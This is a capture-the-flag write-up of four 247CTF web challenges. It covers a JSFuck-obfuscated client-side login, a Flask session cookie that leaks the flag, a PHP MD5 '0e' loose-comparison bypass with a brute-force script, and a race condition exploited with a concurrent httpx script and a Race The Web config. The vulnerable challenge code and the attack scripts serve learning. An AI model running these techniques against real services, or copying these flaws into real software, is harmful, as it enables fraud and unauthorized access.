Writeup Web 247CTF

247CTF is a Capture The Flag (CTF) learning platform, with challenges across categories like web, crypto, pwn, reverse, …

Below are a few web challenges from this site.

TRUSTED CLIENT

Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?

Visiting the website we see a login form.

Checking the page source code. We see a pretty interesting js snippet made of a few characters repeated over and over that looks really weird.

If you don’t know it yet, this is jsfuck. What a wtf name, right =)))

There are quite a lot of tools to decode jsfuck. Here I used this tool remember to change the version to v0.4.0 though

SECURED SESSION

If you can guess our random secret key, we will tell you the flag securely stored in your session.

Source code:

1
import os
2
from flask import Flask, request, session
3
from flag import flag
4

5
app = Flask(__name__)
6
app.config['SECRET_KEY'] = os.urandom(24)
7

8
def secret_key_to_int(s):
9
    try:
10
        secret_key = int(s)
11
    except ValueError:
12
        secret_key = 0
13
    return secret_key
14

15
@app.route("/flag")
16
def index():
17
    secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
18
    session['flag'] = flag
19
    if secret_key == app.config['SECRET_KEY']:
20
      return session['flag']
21
    else:
22
      return "Incorrect secret key!"
23

24
@app.route('/')
25
def source():
26
    return "
27
%s
28
" % open(__file__).read()
29

30
if __name__ == "__main__":
31
    app.run()

When we access /flag the server does the following in order:

• Check whether secret_key is present in the request or not.

  • If it is, it passes the value of secret_key into the secret_key_to_int function. This function converts the value of secret_key to an int, and if there’s a ValueError it sets the value to 0

  • If not, it returns None

• Set the value of flag in the session to the real flag

• Check whether the secret_key obtained above is actually equal to the secret_key in the app config. So whether secret_key is right or wrong, when we access /flag we still get the real flag stored in the session cookie

The cookie I got:

This cookie is split into 3 parts separated by a dot. The first part is base64 encoded. Decoding this part we get

Yap. Base64 again. Decoding this string we get the flag

COMPARE THE PAIR

Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right? The source code will show up as soon as you visit the site

1
<?php
2
  require_once('flag.php');
3
  $password_hash = "0e902564435691274142490923013038";
4
  $salt = "f789bbc328a3d1a3";
5
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
6
    echo $flag;
7
  }
8
  echo highlight_file(__FILE__, true);
9
?>

In php there are 2 kinds of comparison:

• == is Loose comparisons

• === is Strict comparisons Check out the 2 tables below to understand more:

Here php treats strings starting with 0e, for example 0e123, as 0 to the power of 123, which is equivalent to 0

-> we just need to find some password value such that the md5 hash of the string f789bbc328a3d1a3xxxxxxxx has its first 2 characters as 0e and all the characters after that as digits, then we bypass this check logic. Easier than having to find the exact right password, right =))))))

The reason the string here is f789bbc328a3d1a3xxxxxxxx is because the source code has md5($salt . $_GET['password']) == $password_hash) where $salt . $_GET['password'] is similar to salt + password in python, it concatenates the two strings together.

md5 is a one-way hash function so it can’t be reversed, so to find this xxxxxx string we can use the following code to brute force it (slow, but still faster than finding the exact password)

1
from hashlib import md5
2
import time
3

4
start_time = time.time()
5
salt = "f789bbc328a3d1a3"
6

7
for i in range(100000000000000):
8
    tmp = salt + str(i)
9
    tmp_hash = md5(tmp.encode()).hexdigest()
10
    if tmp_hash[0:2] == "0e" and tmp_hash[2::].isdigit():
11
        print(i)
12
        print(tmp)
13
        print(tmp_hash)
14
        print("Run time: ", time.time() - start_time)
15
        break

Running the code above, the password value we need to find is exactly that i

Accessing /?password=<i> we get the flag:

ACID FLAG BANK

You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?

Source code:

1
<?php
2
require_once('flag.php');
3

4
class ChallDB
5
{
6
    public function __construct($flag)
7
    {
8
        $this->pdo = new SQLite3('/tmp/users.db');
9
        $this->flag = $flag;
10
    }
11

12
    public function updateFunds($id, $funds)
13
    {
14
        $stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');
15
        $stmt->bindValue(':id', $id, SQLITE3_INTEGER);
16
        $stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);
17
        return $stmt->execute();
18
    }
19

20
    public function resetFunds()
21
    {
22
        $this->updateFunds(1, 247);
23
        $this->updateFunds(2, 0);
24
        return "Funds updated!";
25
    }
26

27
    public function getFunds($id)
28
    {
29
        $stmt = $this->pdo->prepare('select funds from users where id = :id');
30
        $stmt->bindValue(':id', $id, SQLITE3_INTEGER);
31
        $result = $stmt->execute();
32
        return $result->fetchArray(SQLITE3_ASSOC)['funds'];
33
    }
34

35
    public function validUser($id)
36
    {
37
        $stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');
38
        $stmt->bindValue(':id', $id, SQLITE3_INTEGER);
39
        $result = $stmt->execute();
40
        $row = $result->fetchArray(SQLITE3_ASSOC);
41
        return $row['valid'] == true;
42
    }
43

44
    public function dumpUsers()
45
    {
46
        $result = $this->pdo->query("select id, funds from users");
47
        echo "<pre>";
48
        echo "ID FUNDS\n";
49
        while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
50
            echo "{$row['id']}  {$row['funds']}\n";
51
        }
52
        echo "</pre>";
53
    }
54

55
    public function buyFlag($id)
56
    {
57
        if ($this->validUser($id) && $this->getFunds($id) > 247) {
58
            return $this->flag;
59
        } else {
60
            return "Insufficient funds!";
61
        }
62
    }
63

64
    public function clean($x)
65
    {
66
        return round((int)trim($x));
67
    }
68
}
69

70
$db = new challDB($flag);
71
if (isset($_GET['dump'])) {
72
    $db->dumpUsers();
73
} elseif (isset($_GET['reset'])) {
74
    echo $db->resetFunds();
75
} elseif (isset($_GET['flag'], $_GET['from'])) {
76
    $from = $db->clean($_GET['from']);
77
    echo $db->buyFlag($from);
78
} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {
79
    $to = $db->clean($_GET['to']);
80
    $from = $db->clean($_GET['from']);
81
    $amount = $db->clean($_GET['amount']);
82
    if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
83
        $db->updateFunds($from, $db->getFunds($from) - $amount);
84
        $db->updateFunds($to, $db->getFunds($to) + $amount);
85
        echo "Funds transferred!";
86
    } else {
87
        echo "Invalid transfer request!";
88
    }
89
} else {
90
    echo highlight_file(__FILE__, true);
91
}

Let’s analyze the source together.

First is the ChallDB class, this class provides the methods for managing this chall’s database.

The methods in the class:

• updateFunds($id, $funds): Update the amount of money of the user with the given id to the given amount

• resetFunds(): Reset the amount of money of all users back to default

• getFunds($id): Get the amount of money of the user with the given id

• validUser($id): Check whether a user with the given id exists or not

• dumpUsers(): Display the id and the corresponding amount of money of the users

• buyFlag($id): Check whether the user with the given id has enough money. If yes it returns the flag, if not it returns “Insufficient funds!”

• clean($x): Strip the whitespace from the string x and convert it to int How the sever works:

• If the GET request has the dump parameter -> dumpUsers()

• If the GET request has the reset parameter -> resetFunds()

• If the GET request has the flag and from parameters -> buyFlag($id) with the id taken from the from parameter

• If the GET request has the to, from and amount parameters -> transfer an amount of money equal to amount from the user whose id is taken from the to parameter to the user whose id is from the from parameter

And the chall description says Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds? 247CTF also gives us a very useful video about a vulnerability called race condition

For the details you can watch the video to understand better. Here I’ll summarize it to fit this chall. Our goal is to have enough money to buy the flag which costs >247. There are 2 users set up in advance, one with exactly 247 in their account and the other with nothing. So to increase the amount of money for one of the two users we can take advantage of the window of time while the server is processing the first transfer to request one more transfer.

For example if we transfer 200 from user 1 to 2, then the next time we can’t transfer more than 47 from 1 to 2 anymore IF WE DO IT SEQUENTIALLY. But what if I request another 200 transfer while the server hasn’t deducted user 1’s money yet?. Yap! we’ll make user 2’s money increase past 247. This is exactly a race condition.

So how do we do it. After a bit of googling I found 2 ways.

Way 1: use a python snippet I got from hacktricks here

1
import asyncio
2
import httpx
3

4
async def use_code(client):
5
    resp = await client.get('https://<your-url>.247ctf.com/?to=2&from=1&amount=200')
6
    return resp.text
7

8
async def main():
9
    async with httpx.AsyncClient() as client:
10
        tasks = []
11
        for _ in range(20): #20 times
12
            tasks.append(asyncio.ensure_future(use_code(client)))
13

14
        # Get responses
15
        results = await asyncio.gather(*tasks, return_exceptions=True)
16

17
        # Print results
18
        for r in results:
19
            print(r)
20

21
        # Async2sync sleep
22
        await asyncio.sleep(0)
23

24
asyncio.run(main())

Running the code above, reset fund a few times until we get output like

Funds transferred!
Invalid transfer request!
Funds transferred!
Invalid transfer request!
Invalid transfer request!

Invalid transfer request!
Invalid transfer request!
Funds transferred!

Invalid transfer request!

Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!

As you can see the “Funds transferred!” message shows up 3 times, which proves I succeeded. But when checking the fund user 2 only has 400 =))) Whatever, as long as it worked =))

Way 2: There’s a tool called Race The Web (RTW) that will help us do this.

You can read more on the tool’s github. I ran the precompiled bin file with the config.toml file as follows:

1
count = 100
2
proxy = "http://127.0.0.1:8080"
3

4
[[requests]]
5
    method = "GET"
6
    url = "https://<your-url>.247ctf.com/?to=2&from=1&amount=200"

Again I still had to reset fund a few times before I got user 2 with more than 247.

To get the flag just send a get request by accessing https://<your-url>.247ctf.com/?flag&from=2